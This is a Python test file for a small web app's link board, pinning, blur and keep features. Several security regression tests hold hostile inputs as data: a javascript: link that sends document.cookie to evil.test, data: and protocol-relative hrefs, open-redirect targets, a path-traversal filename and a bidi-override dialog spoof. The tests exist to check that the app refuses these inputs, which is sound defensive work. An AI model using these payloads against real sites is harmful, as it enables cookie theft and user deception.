    assert "http://a/" in left and "http://c/" in left and "http://b/" not in left


def test_cli_unlink_by_id_even_when_the_id_is_all_digits(tmp_path):
    """Regression: ids are 8 hex chars and roughly one in forty is all digits.
    Those were being read as row numbers, resolving to nothing, and removing
    nothing — while reporting success."""
    _cli(tmp_path, "link", "http://a/", "A")
    board = tmp_path / "links"
    entry = parse_link_entries((board / LINKS_FILE).read_text())[0]
    # force the all-digit case rather than waiting for it to occur naturally
    forced = "12345678"
    raw = (board / LINKS_FILE).read_text()
    assert entry["id"] != forced

    r = _cli(tmp_path, "unlink", entry["id"])

    assert r.returncode == 0, r.stderr
    assert parse_link_entries((board / LINKS_FILE).read_text()) == []
    assert raw  # board did exist beforehand


def test_cli_unlink_rejects_a_non_id_non_index(tmp_path):
    _cli(tmp_path, "link", "http://a/", "A")

    r = _cli(tmp_path, "unlink", "zz")

    assert r.returncode != 0
    assert "not an entry id" in r.stderr
    assert parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())


def test_cli_unlink_of_a_stale_id_leaves_the_board_alone(tmp_path):
    _cli(tmp_path, "link", "http://a/", "A")

    r = _cli(tmp_path, "unlink", "deadbeef")

    assert r.returncode != 0
    assert len(parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())) == 1


# ---- the standing link board: pin (favorite) + ordering + multi-select ------
#
# The board renders pinned-first then newest-first, a ★ pins a row to the top,
# and a checkbox column feeds a bulk delete. Pin state lives in a `.pins` sidecar
# (content ids, one per line) so links.md stays a pure append log and a row's id
# never changes just because it was pinned.


def test_read_pins_empty_when_no_file(tmp_path):
    b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
    assert read_pins(b) == set()
    assert not (b / PINS_FILE).exists()


def test_toggle_pin_round_trips(tmp_path):
    b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
    eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]

    assert toggle_pin(b, eid) is True
    assert read_pins(b) == {eid}

    assert toggle_pin(b, eid) is False
    assert read_pins(b) == set()


def test_pins_persist_in_a_dotfile_not_in_links_md(tmp_path):
    """The whole reason for the sidecar: links.md stays untouched by a pin, so it
    remains a pure atomic-append log and the row's content id does not drift."""
    b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
    before = (b / LINKS_FILE).read_text()
    eid = parse_link_entries(before)[0]["id"]

    toggle_pin(b, eid)

    assert (b / LINKS_FILE).read_text() == before, "pinning must not rewrite links.md"
    assert (b / PINS_FILE).read_text().strip() == eid
    assert PINS_FILE.startswith("."), "pin file must be a dotfile so listings skip it"


def test_order_for_display_pins_first_then_newest(tmp_path):
    b = _board(tmp_path,
               _ROW.format(d="oldest", u="http://1/", w="x"),
               _ROW.format(d="middle", u="http://2/", w="x"),
               _ROW.format(d="newest", u="http://3/", w="x"))
    entries = parse_link_entries((b / LINKS_FILE).read_text())
    ids = {e["desc"]: e["id"] for e in entries}

    ordered = order_for_display(entries, {ids["middle"]})

    # pinned (middle) leads; the rest fall in newest-first order
    assert [e["desc"] for e in ordered] == ["middle", "newest", "oldest"]
    assert ordered[0]["pinned"] is True
    assert all(e["pinned"] is False for e in ordered[1:])


def test_order_for_display_is_newest_first_with_no_pins(tmp_path):
    b = _board(tmp_path,
               _ROW.format(d="first", u="http://1/", w="x"),
               _ROW.format(d="last", u="http://2/", w="x"))
    entries = parse_link_entries((b / LINKS_FILE).read_text())

    ordered = order_for_display(entries, set())

    assert [e["desc"] for e in ordered] == ["last", "first"]  # newest on top


def test_order_for_display_does_not_mutate_parse_output(tmp_path):
    """Callers that want the file-order view (the CLI) must not see a `pinned`
    key leak into parse_link_entries' dicts."""
    b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
    entries = parse_link_entries((b / LINKS_FILE).read_text())

    order_for_display(entries, {entries[0]["id"]})

    assert "pinned" not in entries[0]


def test_orphan_pin_is_inert_not_shown_as_pinned(tmp_path):
    """A pin id that no longer matches any row must simply not render as pinned —
    never crash, never resurrect a phantom row."""
    b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
    entries = parse_link_entries((b / LINKS_FILE).read_text())

    ordered = order_for_display(entries, {"deadbeef"})  # id matches nothing

    assert [e["desc"] for e in ordered] == ["a"]
    assert ordered[0]["pinned"] is False


def test_remove_link_entry_also_unpins(tmp_path):
    """Removing a row drops its pin, so .pins does not accumulate dead ids."""
    b = _board(tmp_path,
               _ROW.format(d="keep", u="http://a/", w="x"),
               _ROW.format(d="gone", u="http://b/", w="y"))
    gone = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "gone")
    keep = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "keep")
    toggle_pin(b, gone["id"])
    toggle_pin(b, keep["id"])
    assert read_pins(b) == {gone["id"], keep["id"]}

    remove_link_entry(b, gone["id"])

    assert read_pins(b) == {keep["id"]}, "the removed row's pin is dropped, the other kept"


# ---- HTTP: /pin and /unlink-many --------------------------------------------


def test_pin_endpoint_toggles(client):
    c, data = client
    b = _board(data, _ROW.format(d="a", u="http://a/", w="x"))
    eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]

    r = c.post("/b/links/pin", data={"entry": eid}, follow_redirects=False)
    assert r.status_code == 303
    assert read_pins(b) == {eid}

    c.post("/b/links/pin", data={"entry": eid})
    assert read_pins(b) == set()


def test_pin_endpoint_rejects_a_bad_booth(client):
    c, _ = client
    assert c.post("/b/nope/pin", data={"entry": "x"}).status_code == 404


def test_unlink_many_removes_all_selected(client):
    c, data = client
    b = _board(data,
               _ROW.format(d="a", u="http://a/", w="x"),
               _ROW.format(d="b", u="http://b/", w="y"),
               _ROW.format(d="c", u="http://c/", w="z"))
    es = parse_link_entries((b / LINKS_FILE).read_text())
    a_id = next(e["id"] for e in es if e["desc"] == "a")
    c_id = next(e["id"] for e in es if e["desc"] == "c")

    r = c.post("/b/links/unlink-many", data={"sel": [a_id, c_id]}, follow_redirects=False)

    assert r.status_code == 303
    left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
    assert left == ["b"]


def test_unlink_many_empty_selection_is_a_noop(client):
    c, data = client
    _board(data, _ROW.format(d="a", u="http://a/", w="x"))

    r = c.post("/b/links/unlink-many", data={}, follow_redirects=False)

    assert r.status_code == 303
    assert len(parse_link_entries((data / "links" / LINKS_FILE).read_text())) == 1


def test_unlink_many_rejects_a_bad_booth(client):
    c, _ = client
    assert c.post("/b/nope/unlink-many", data={"sel": "x"}).status_code == 404


# ---- HTTP: the board renders the new controls in the right order ------------


def test_board_renders_pin_and_multiselect_controls(client):
    c, data = client
    _board(data, _ROW.format(d="A", u="http://a/", w="x"))

    body = _body(c, "/b/links/")

    assert "/b/links/pin" in body           # per-row pin control
    assert "/b/links/unlink-many" in body   # bulk delete
    assert 'name="sel"' in body             # selection checkbox
    assert 'class="board-pin' in body       # the ★ toggle


def test_board_page_orders_newest_first_and_pinned_on_top(client):
    c, data = client
    b = _board(data,
               _ROW.format(d="first-posted", u="http://1/", w="x"),
               _ROW.format(d="last-posted", u="http://2/", w="y"))

    body = _body(c, "/b/links/")
    assert body.index("last-posted") < body.index("first-posted"), "newest on top by default"

    older = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
                 if e["desc"] == "first-posted")
    c.post("/b/links/pin", data={"entry": older["id"]})

    body2 = _body(c, "/b/links/")
    assert body2.index("first-posted") < body2.index("last-posted"), "pinned row floats to the top"
    assert "1 pinned" in body2


# ---------------------------------------------------------------------------
# Blur (cosmetic censoring) + the keep button on ephemeral cards.
# Both added 2026-09-19 on operator request.
#
# ⚠ Every blur test below asserts the COSMETIC contract deliberately: the file
# stays reachable. If someone later "fixes" that by 403-ing blurred items, these
# tests fail and that is correct — it would be a different feature with a
# different name, and half-implemented access control is worse than none.
# ---------------------------------------------------------------------------

from booth.app import BLUR_FILE, read_blurred, set_blurred  # noqa: E402


def _png(p):
    p.write_bytes(
        b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
        b"\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00"
        b"\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82"
    )


def test_blur_state_roundtrip(tmp_path):
    assert read_blurred(tmp_path) == set(), "missing file must read as empty"
    set_blurred(tmp_path, "a/x.png", True)
    set_blurred(tmp_path, "b.png", True)
    assert read_blurred(tmp_path) == {"a/x.png", "b.png"}
    set_blurred(tmp_path, "b.png", False)
    assert read_blurred(tmp_path) == {"a/x.png"}


def test_blur_state_removes_file_when_empty(tmp_path):
    """An empty set deletes the marker rather than leaving a zero-byte file, so
    `ls -a` tells the truth about whether anything in here is blurred."""
    set_blurred(tmp_path, "x.png", True)
    assert (tmp_path / BLUR_FILE).exists()
    set_blurred(tmp_path, "x.png", False)
    assert not (tmp_path / BLUR_FILE).exists()


def test_blur_state_is_idempotent_both_ways(tmp_path):
    set_blurred(tmp_path, "x.png", False)          # unblur what was never blurred
    assert read_blurred(tmp_path) == set()
    set_blurred(tmp_path, "x.png", True)
    set_blurred(tmp_path, "x.png", True)           # blur twice
    assert read_blurred(tmp_path) == {"x.png"}


def test_build_gallery_flags_blurred_items(tmp_path):
    _png(tmp_path / "a.png")
    _png(tmp_path / "b.png")
    set_blurred(tmp_path, "a.png", True)
    by_name = {i["name"]: i for i in build_gallery(tmp_path)}
    assert by_name["a.png"]["blurred"] is True
    assert by_name["b.png"]["blurred"] is False, "unblurred items must not be flagged"


def test_blur_route_toggles_both_directions(client):
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "x.png")

    c.post("/b/bo/blur", data={"f": "x.png", "on": "1"}, follow_redirects=False)
    assert read_blurred(d) == {"x.png"}
    c.post("/b/bo/blur", data={"f": "x.png", "on": "0"}, follow_redirects=False)
    assert read_blurred(d) == set()


def test_blur_route_rejects_traversal(client):
    """A blur entry is always booth-relative. Without this the marker file is a
    write-primitive pointed at an attacker-chosen path."""
    c, root = client
    (root / "bo").mkdir()
    r = c.post("/b/bo/blur", data={"f": "../escape.png", "on": "1"},
               follow_redirects=False)
    assert r.status_code == 400
    assert read_blurred(root / "bo") == set()


def test_blurred_item_renders_blurred_and_unblurred_does_not(client):
    """Both states, because a blur class that is always present is the same
    instrument as one that is never present."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "hidden.png")
    _png(d / "shown.png")

    body = c.get("/b/bo/").text
    assert "item-image blurred" not in body, "nothing blurred yet"

    set_blurred(d, "hidden.png", True)
    body = c.get("/b/bo/").text
    assert "blurred" in body
    assert 'data-item="hidden.png"' in body


def test_blur_is_cosmetic_the_file_is_still_served(client):
    """The contract, asserted on purpose. Blur hides an item from a glance; it
    is NOT access control and must never be mistaken for it."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "x.png")
    set_blurred(d, "x.png", True)
    assert c.get("/b/bo/x.png").status_code == 200


def test_index_blurs_the_cover_thumb_only_when_the_cover_is_blurred(client):
    """Otherwise the front page cheerfully displays the exact thing someone
    asked to hide inside the booth."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "cover.png")

    # Assert the ATTRIBUTE, not the bare string: `.blurred-thumb{...}` is in
    # base.html's stylesheet on every page, so a substring check passes in both
    # states and proves nothing. This test failed usefully on exactly that.
    assert 'class="blurred-thumb"' not in c.get("/").text
    set_blurred(d, "cover.png", True)
    assert 'class="blurred-thumb"' in c.get("/").text


def test_ephemeral_card_offers_keep_and_keeping_works(client):
    """The /keep route and `booth keep` predate this button; until 2026-09-19
    the UI could only RELEASE a kept booth, so the round trip needed a shell."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "x.png")

    body = c.get("/").text
    assert 'action="/b/bo/keep"' in body, "ephemeral card must offer keep"

    c.post("/b/bo/keep", follow_redirects=False)
    assert (d / KEEP_MARKER).exists()

    # ...and the round trip closes: released booths lose the marker again.
    c.post("/b/bo/unkeep", follow_redirects=False)
    assert not (d / KEEP_MARKER).exists()


def test_blur_applies_to_inline_docs_not_just_images(client):
    """Regression: the first implementation only patched the image/video
    <figure>. Inline docs render through their OWN branch and were left
    unblurred — the branch that puts readable text straight on the page. The
    suite passed; a live check caught it."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    (d / "plain.txt").write_text("visible")
    (d / "secret.txt").write_text("hidden")
    set_blurred(d, "secret.txt", True)

    body = c.get("/b/bo/").text
    assert '<figure class="item item-doc blurred"' in body
    assert body.count('<figure class="item item-doc blurred"') == 1, (
        "exactly the blurred doc, not every doc"
    )


def test_every_item_kind_gets_exactly_one_blur_toggle(client):
    """The regression guard for this whole feature's recurring bug.

    booth.html has THREE item branches — doc, media, other — and each pass at
    this feature patched some and missed others: first the blurred class landed
    on media only, then the toggle landed on media only and the operator asked
    "no UI option to blur/unblur?". A count assertion across mixed kinds is the
    check that actually catches it; a spot check on one item never will.
    """
    c, root = client
    d = root / "bo"
    d.mkdir()
    (d / "note.txt").write_text("doc branch")       # -> item-doc
    _png(d / "pic.png")                              # -> item-image
    (d / "blob.bin").write_bytes(b"\x00\x01binary")  # -> item-other

    body = c.get("/b/bo/").text
    figures = body.count('<figure class="item item-')
    toggles = body.count('class="blurtoggle')
    assert figures == 3, f"expected all three kinds to render, got {figures}"
    assert toggles == figures, (
        f"{figures} items but {toggles} blur toggles — a branch was missed again"
    )


def test_blur_toggle_posts_the_opposite_state(client):
    """The button must flip, not just set. A toggle hard-coded to on=1 looks
    identical in the markup and silently cannot un-blur."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "pic.png")

    assert 'name="on" value="1"' in c.get("/b/bo/").text
    set_blurred(d, "pic.png", True)
    body = c.get("/b/bo/").text
    assert 'name="on" value="0"' in body, "a blurred item must offer un-blur"
    assert "◉ blurred" in body


# ---------------------------------------------------------------------------
# Operator-reported, 2026-09-21: "the reveal button doesn't do anything".
# It rendered and was inert — the handler sat after {%- endblock -%} in a child
# template, which Jinja DISCARDS. Two commits and a README claimed
# click-to-reveal worked. The suite passed the whole time because nothing
# asserted against the SERVED page.
# ---------------------------------------------------------------------------


def test_reveal_handler_actually_reaches_the_served_page(client):
    """The regression that matters. Assert the handler is IN THE RESPONSE, not
    that the template file contains the text — the template contained it fine
    and the browser never saw it."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "x.png")
    set_blurred(d, "x.png", True)

    body = c.get("/b/bo/").text
    assert 'class="reveal"' in body, "the button must render"
    assert "classList.toggle('revealed')" in body, (
        "the handler must reach the page — a button with no handler is a dead "
        "control, which is exactly what shipped"
    )


def test_no_orphaned_markup_after_the_content_block(client):
    """Structural guard for the same defect class: anything a child template
    puts outside a block is silently dropped, so the only safe number of
    closing content-block tags is one, at the very end."""
    tpl = (pathlib.Path(__file__).parent.parent
           / "booth" / "templates" / "booth.html").read_text()
    after = tpl[tpl.rindex("{% endblock %}") + len("{% endblock %}"):]
    assert after.strip() == "", (
        f"content after the final endblock is discarded by Jinja: {after[:120]!r}"
    )


def test_booth_page_offers_keep_when_ephemeral_and_release_when_kept(client):
    """Operator: 'adding a keep button inside a booth'. Both states, because a
    control that always says the same thing cannot be driving off real state."""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "x.png")

    body = c.get("/b/bo/").text
    # Sliced on the ELEMENT, not the bare word: `boothhead` has appeared in the
    # stylesheet this page carries since long before this assertion, so
    # `split("boothhead")[1]` was reading CSS and passing on luck. It went red
    # the first time a new rule landed above the old one (U5's .prov), which is
    # the only reason anybody noticed. Same assertion, aimed at the markup.
    head = body.split('class="boothhead"')[1][:900]
    assert "☆ keep" in body and "release" not in head

    c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
    body = c.get("/b/bo/").text
    assert "★ kept — release" in body


def test_keep_from_inside_a_booth_stays_on_the_booth_page(client):
    """Without `next` the route redirects to /, which throws you out of the
    booth you were reading."""
    c, root = client
    (root / "bo").mkdir()
    r = c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
    assert r.headers["location"] == "/b/bo/"
    r = c.post("/b/bo/keep", follow_redirects=False)      # no next
    assert r.headers["location"] == "/"


def test_next_refuses_an_open_redirect(client):
    """`next` comes from a form field, so it is attacker-controlled input."""
    c, root = client
    (root / "bo").mkdir()
    for evil in ("//evil.example/x", "https://evil.example/x", "\\\\evil"):
        r = c.post("/b/bo/keep", data={"next": evil}, follow_redirects=False)
        assert r.headers["location"] == "/", f"{evil!r} must not be honoured"


def test_kept_lane_offers_a_direct_wipe_beside_release(client):
    """Operator: 'allow an x to delete next to release so i don't have to
    release and then find it to delete it.'"""
    c, root = client
    d = root / "bo"
    d.mkdir()
    _png(d / "x.png")
    (d / KEEP_MARKER).touch()

    body = c.get("/").text
    assert 'class="wipe wipe-kept"' in body, "kept card must offer a direct ×"
    assert 'action="/b/bo/unkeep"' in body, "release must still be there too"
    # ...and it actually wipes.
    c.post("/b/bo/delete", follow_redirects=False)
    assert not d.exists()


# ---- the running service is a coherent snapshot ------------------------------
#
# Outage, 2026-09-21: 19 of 25 live booths returned 500 with
# `UndefinedError: 'item_marks' is undefined`. Nothing was wrong with either the
# old code or the new code — the service was running BOTH. `booth.service` sets
# WorkingDirectory to the repo, so the repo IS the deployment root, and Jinja's
# FileSystemLoader re-reads a template from disk on every render while the Python
# stays as it was at process start. Editing a template therefore deployed it
# INSTANTLY, against Python that had never heard of the context it wanted.
#
# The fix is not "remember to restart" — it is to make the two halves fail the
# same way, so the running process is always the code as of its start time.


def test_templates_do_not_hot_reload_from_disk(tmp_path):
    """Templates must be cached at startup, exactly like the Python is.

    With auto_reload on, the two halves of the service have DIFFERENT staleness
    rules — Python needs a restart, templates do not — and any edit to a
    template puts a live service into a state that was never tested: new markup
    against old context. One consistent rule ("nothing takes effect until you
    restart") turns a silent 500 storm into a change that simply has not
    happened yet.
    """
    from booth.app import create_app

    app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
    env = app.state.templates.env
    assert env.auto_reload is False, (
        "templates hot-reload from disk while the Python does not — "
        "editing one deploys it to the live service instantly"
    )


def test_the_dur_filter_survives_the_custom_environment(tmp_path):
    """The env is hand-built now, so the filter registration is no longer
    incidental to the constructor."""
    from booth.app import create_app

    app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
    assert app.state.templates.env.filters["dur"](3600) == "1h"


def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
    """A LIVE INJECTION VECTOR, found by design-dev on the way past R2.

    17 agent handles append to the standing board and the operator clicks its
    rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
    about whether an href is safe to render, and nothing guarded the render.

    ⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
    rejected — by the markdown link regex, because the parens break `](...)`.
    That is an accident, not a guard, and a paren-free payload sails through.

    The row still RENDERS, because the operator should see that something was
    posted and refused; it just must not be a link."""
    b = tmp_path / "links"
    b.mkdir()
    b.joinpath("links.md").write_text(
        "- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
        " <sub>· rogue · 2026-09-23 10:00</sub>\n"
        "- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
        "- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
        "- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
    )
    c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
    html = c.get("/b/links/").text

    assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
    for bad in ("javascript:", "//evil.test/x", "data:text/html"):
        assert f'href="{bad}' not in html, f"{bad} rendered as an href"
    # refused, not hidden: the operator sees that it was posted
    assert "evil.test" in html, "the refused row vanished instead of being shown inert"


def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
    """A board row's description and URL come from any of seventeen agent
    handles, and they are pasted into a `confirm()` dialog — which is the text
    the operator reads before approving a delete.

    Escaping protects the PAGE and does nothing here: `confirm` renders a plain
    string, so a bidi override (U+202E) or a newline re-orders or hides what he
    is consenting to, and the row shown is not the row removed.

    Found by design-dev, the same class as the wipe dialog he had just fixed on
    the Desk. Defeating change: dropping `shown()` from either argument."""
    b = tmp_path / "links"
    b.mkdir()
    b.joinpath("links.md").write_text(
        "- [innocent‮gnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
    )
    c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
    html = c.get("/b/links/").text

    assert "function shown(" in html, "the dialog sanitiser is gone"
    # both arguments must go through it, not just one
    assert "shown(btn.getAttribute('data-desc')" in html
    assert "shown(btn.getAttribute('data-url')" in html


def test_booth_blur_composes_with_per_item_and_never_overrides_it(tmp_path):
    """The operator ruled booth-level blur in; design-dev specced the semantics
    and this is the half that is ours.

    COMPOSES, never overrides: an item is blurred iff the booth is blurred OR it
    is in `.blurred`. Turning booth blur off must leave an agent's per-item
    choice exactly as the poster left it — an override would need a per-item
    "unblurred" exception list, which is state nobody can see.

    Defeating change: assigning `Item.blurred` from the booth flag instead of
    OR-ing it."""
    from booth.app import set_blurred, set_booth_blurred
    from booth.items import booth_items

    b = tmp_path / "g"
    b.mkdir()
    for n in ("a.png", "b.png", "c.mp3"):
        (b / n).write_bytes(b"x")
    set_blurred(b, "b.png", True)

    def state():
        return {i.rel: i.blurred for i in booth_items(b)}

    assert state() == {"a.png": False, "b.png": True, "c.mp3": False}

    set_booth_blurred(b, True)
    # audio has nothing to hide from a glance
    assert state() == {"a.png": True, "b.png": True, "c.mp3": False}

    set_booth_blurred(b, False)
    assert state() == {"a.png": False, "b.png": True, "c.mp3": False}, \
        "unfogging the booth erased the poster's per-item blur"


def test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals(tmp_path, monkeypatch):
    """`is_kept` fails toward KEEPING because a failed read must not authorise a
    delete. This fails toward HIDING, because a failed read must not reveal
    something the poster asked to fog. Same shape, inverted safety, and the
    inversion is the point.

    Defeating change: `except OSError: return False`."""
    import booth.items as items_mod

    b = tmp_path / "g"
    b.mkdir()

    real = pathlib.Path.lstat

    def boom(self, *a, **k):
        if self.name == items_mod.BOOTH_BLUR_FILE:
            raise PermissionError(13, "nope")
        return real(self, *a, **k)

    monkeypatch.setattr(pathlib.Path, "lstat", boom)
    assert items_mod.is_booth_blurred(b) is True


def test_the_blurbooth_route_toggles_and_lands_back(tmp_path):
    """The POST target design-dev's header control needs, with `back=view` so
    fogging from the review does not eject you from the review."""
    b = tmp_path / "g"
    b.mkdir()
    (b / "a.png").write_bytes(b"x")
    c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))

    r = c.post("/b/g/blurbooth", data={"on": "1"}, follow_redirects=False)
    assert r.status_code == 303 and r.headers["location"] == "/b/g/"
    assert (b / ".blurbooth").exists()

    r = c.post("/b/g/blurbooth", data={"on": "1", "back": "a.png"}, follow_redirects=False)
    assert r.headers["location"] == "/b/g/view?f=a.png"

    c.post("/b/g/blurbooth", data={"on": "0"}, follow_redirects=False)
    assert not (b / ".blurbooth").exists()